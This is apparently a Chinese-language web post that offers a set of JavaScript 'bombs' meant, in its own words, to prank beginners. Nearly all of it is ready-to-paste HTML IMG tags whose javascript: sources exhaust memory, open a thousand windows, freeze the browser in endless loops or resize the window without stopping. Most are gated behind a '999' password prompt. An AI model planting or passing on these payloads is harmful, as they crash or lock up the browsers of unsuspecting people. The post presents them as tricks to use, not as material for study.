一些JavaScript“炸彈”

寫着玩的,騙騙初學者

快速死機
<IMG src="javascript:{a='hello';function ad(){a=a+a;window.status=a.length;window.setTimeout('ad()',10)}a=prompt('靠阿克','');if(a!='999'){ad();}}">
無限窗口
<IMG src="javascript:a=prompt('你好!',''); if (a!='999'){for(i=0;i<1000;i++){window.open()}}">
窗口凍結
<IMG src="javascript:a=prompt('test',''); if (a!='999'){n=1;while(n==1){window.focus()}}">
窗口凍結II
<IMG src="javascript:b=prompt('aaaaa',''); if (b!='999'){a=['#00ff00','#0000ff'];for(i=0;i<3;i++){document.bgColor=a[i];if(i==2){i=0}}}">
瘋狂變換
<IMG src="javascript:b=prompt('aaaaa',''); if (b!='999'){while(typeof('a')=='string'){i=Math.round(Math.random()*1000)-500;window.resizeBy(i,i)}}">
問好
<IMG οnmοuseοver="alert('向大家問好');" src="http://xx.xx.xx/xx.jpg">

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章